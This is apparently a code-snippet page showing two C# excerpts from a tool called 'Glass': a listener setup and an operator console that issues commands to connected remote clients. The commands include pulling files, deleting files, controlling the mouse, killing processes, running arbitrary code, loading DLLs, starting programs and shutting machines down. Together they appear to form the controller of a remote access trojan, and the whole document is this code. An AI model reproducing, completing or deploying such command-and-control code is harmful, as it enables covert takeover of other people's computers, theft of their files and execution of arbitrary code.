Ejemplo n.º 1
0
        public GlassUI(string ip, int port)
        {
            GlassListener      = new GlassListener(ip, port);
            GlassClientManager = new GlassClientManager();

            GlassListener.ClientConnected += listener_ClientConnected;

            GlassClientManager.ClientDisconnected       += manager_ClientDisconnected;
            GlassClientManager.CurrentDirectoryRecieved += manager_DirectoryRecieved;
            GlassClientManager.DirectoryListingRecieved += manager_DirectoryListingRecieved;
            GlassClientManager.FileListingRecieved      += manager_FileListingRecieved;
            GlassClientManager.FileRecieved             += manager_FileRecieved;
            GlassClientManager.IdentifyRecieved         += manager_IdentifyRecieved;
            GlassClientManager.StdoutRecieved           += manager_StdoutRecieved;
            GlassClientManager.ProcListRecieved         += manager_ProcListRecieved;
            GlassClientManager.FileTextRecieved         += manager_FileTextRecieved;
        }
Ejemplo n.º 2
0
        public void Start()
        {
            GlassListener.ListenForConnections();
            int selectedClientID = 0;

            while (true)
            {
                try
                {
                    Console.Write("$ ");
                    string   command   = Console.ReadLine();
                    string[] parts     = command.Split(' ');
                    string   remainder = null;
                    if (parts.Length >= 2)
                    {
                        remainder = command.Substring(command.IndexOf(" ") + 1);
                    }
                    switch (parts[0].ToLower())
                    {
                    case "select":
                        try
                        {
                            int id = Convert.ToInt32(parts[1]);
                            selectedClient   = IdentifiedClients[id];
                            selectedClientID = id;
                        }
                        catch
                        {
                            Console.WriteLine("Was not a number!");
                        }
                        break;

                    case "selected":
                        Console.WriteLine("{0}:\t{1} {2}", selectedClientID, selectedClient.UserName, selectedClient.IP);
                        break;

                    case "info":
                        var cl = IdentifiedClients[Convert.ToInt32(parts[1])];
                        Console.WriteLine("{0}:\t{1} {2}", parts[1], cl.UserName, cl.IP);
                        break;

                    case "list":
                        foreach (var pair in IdentifiedClients)
                        {
                            Console.WriteLine("{0}:\t{1} {2}", pair.Key, pair.Value.UserName, pair.Value.IP);
                        }
                        break;

                    case "pwd":
                        selectedClient.WriteLine(GlassProtocol.RequestCurrentDirectory);
                        break;

                    case "ls":
                        selectedClient.WriteLine(GlassProtocol.RequestDirectoryListing);
                        selectedClient.WriteLine(parts.Length < 2 ? selectedClient.CurrentDirectory : remainder);
                        selectedClient.WriteLine(GlassProtocol.RequestFileListing);
                        selectedClient.WriteLine(parts.Length < 2 ? selectedClient.CurrentDirectory : remainder);
                        break;

                    case "dl":
                        selectedClient.WriteLine(GlassProtocol.RequestFileDownload);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(parts[2]);
                        break;

                    case "cd":
                        selectedClient.WriteLine(GlassProtocol.SetCurrentDirectory);
                        selectedClient.WriteLine(remainder);
                        selectedClient.CurrentDirectory = remainder;
                        break;

                    case "get":
                        selectedClient.WriteLine(GlassProtocol.RequestFile);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.FileJobs.Push(parts[2]);
                        break;

                    case "vfsget":
                        selectedClient.WriteLine(GlassProtocol.RequestVFSFile);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.FileJobs.Push(parts[2]);
                        break;

                    case "put":
                        selectedClient.WriteLine(GlassProtocol.SendingFile);
                        selectedClient.WriteLine(parts[2]);
                        selectedClient.WriteLine(new FileInfo(parts[1]).Length);
                        BinaryReader file = new BinaryReader(new StreamReader(parts[1]).BaseStream);
                        while (file.BaseStream.Position < file.BaseStream.Length)
                        {
                            selectedClient.Writer.Write(file.ReadByte());
                        }
                        file.Close();
                        selectedClient.Writer.Flush();
                        break;

                    case "vfsput":
                        selectedClient.WriteLine(GlassProtocol.RequestVFSFileSave);
                        selectedClient.WriteLine(new FileInfo(parts[1]).Length);
                        selectedClient.WriteLine(parts[2]);
                        BinaryReader file_ = new BinaryReader(new StreamReader(parts[1]).BaseStream);
                        while (file_.BaseStream.Position < file_.BaseStream.Length)
                        {
                            selectedClient.Writer.Write(file_.ReadByte());
                        }
                        file_.Close();
                        selectedClient.Writer.Flush();
                        break;

                    case "rm":
                        selectedClient.WriteLine(GlassProtocol.RequestDeleteFile);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "rmd":
                        selectedClient.WriteLine(GlassProtocol.RequestDeleteDir);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "mv":
                        selectedClient.WriteLine(GlassProtocol.RequestFileMove);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(parts[2]);
                        break;

                    case "vfsmv":
                        selectedClient.WriteLine(GlassProtocol.RequestVFSFIleMove);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(remainder.Substring(remainder.IndexOf(" ") + 1));
                        break;

                    case "cat":
                        selectedClient.WriteLine(GlassProtocol.RequestFileText);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "vfscat":
                        selectedClient.WriteLine(GlassProtocol.RequestVFSFileText);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "cp":
                        selectedClient.WriteLine(GlassProtocol.RequestFileCopy);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(parts[2]);
                        break;

                    case "mp":
                        selectedClient.WriteLine(GlassProtocol.RequestSetMousePosition);
                        selectedClient.WriteLine(Convert.ToInt64(parts[1]));
                        selectedClient.WriteLine(Convert.ToInt64(parts[2]));
                        break;

                    case "mkdir":
                        selectedClient.WriteLine(GlassProtocol.RequestCreateDirectory);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "leftclick":
                        selectedClient.WriteLine(GlassProtocol.RequestLeftMouseClick);
                        break;

                    case "rightclick":
                        selectedClient.WriteLine(GlassProtocol.RequestRightMouseClick);
                        break;

                    case "proclist":
                        selectedClient.WriteLine(GlassProtocol.RequestProcList);
                        break;

                    case "kill":
                        selectedClient.WriteLine(GlassProtocol.RequestProcKill);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "coderun":
                        selectedClient.WriteLine(GlassProtocol.RequestCodeRun);
                        selectedClient.WriteLine(File.ReadAllText(remainder));
                        break;

                    case "dllload":
                        selectedClient.WriteLine(GlassProtocol.RequestDllLoad);
                        byte[] bytes = File.ReadAllBytes(parts[1]);
                        selectedClient.WriteLine((long)bytes.Length);
                        selectedClient.WriteLine(remainder.Substring(remainder.IndexOf(" ") + 1));
                        foreach (byte b in bytes)
                        {
                            selectedClient.WriteLine(b);
                        }
                        break;

                    case "localdllload":
                        selectedClient.WriteLine(GlassProtocol.RequestLocalDllLoad);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "vfsdllload":
                        selectedClient.WriteLine(GlassProtocol.RequestVFSDllLoad);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(remainder.Substring(remainder.IndexOf(" ") + 1));
                        break;

                    case "msg":
                        selectedClient.WriteLine(GlassProtocol.RequestMessageDisplay);
                        selectedClient.WriteLine(remainder);
                        break;

                    case "start":
                        selectedClient.WriteLine(GlassProtocol.RequestProgramStart);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(parts.Length > 2 ? remainder.Substring(remainder.IndexOf(" ") + 1) : "");
                        break;

                    case "getstart":
                        selectedClient.WriteLine(GlassProtocol.RequestProgramStartStdout);
                        selectedClient.WriteLine(parts[1]);
                        selectedClient.WriteLine(parts.Length > 2 ? remainder.Substring(remainder.IndexOf(" ") + 1) : "");
                        break;

                    case "logout":
                        selectedClient.WriteLine(GlassProtocol.RequestLogout);
                        break;

                    case "restart":
                        selectedClient.WriteLine(GlassProtocol.RequestRestart);
                        break;

                    case "shutdown":
                        selectedClient.WriteLine(GlassProtocol.RequestShutdown);
                        break;
                    }
                }
                catch (NullReferenceException)
                {
                    Console.WriteLine("No client selected!");
                }
                catch (IOException)
                {
                    manager_ClientDisconnected(null, new ClientDisconnectedEventArgs {
                        Client = selectedClient
                    });
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error caught! " + ex.Message);
                }
            }
        }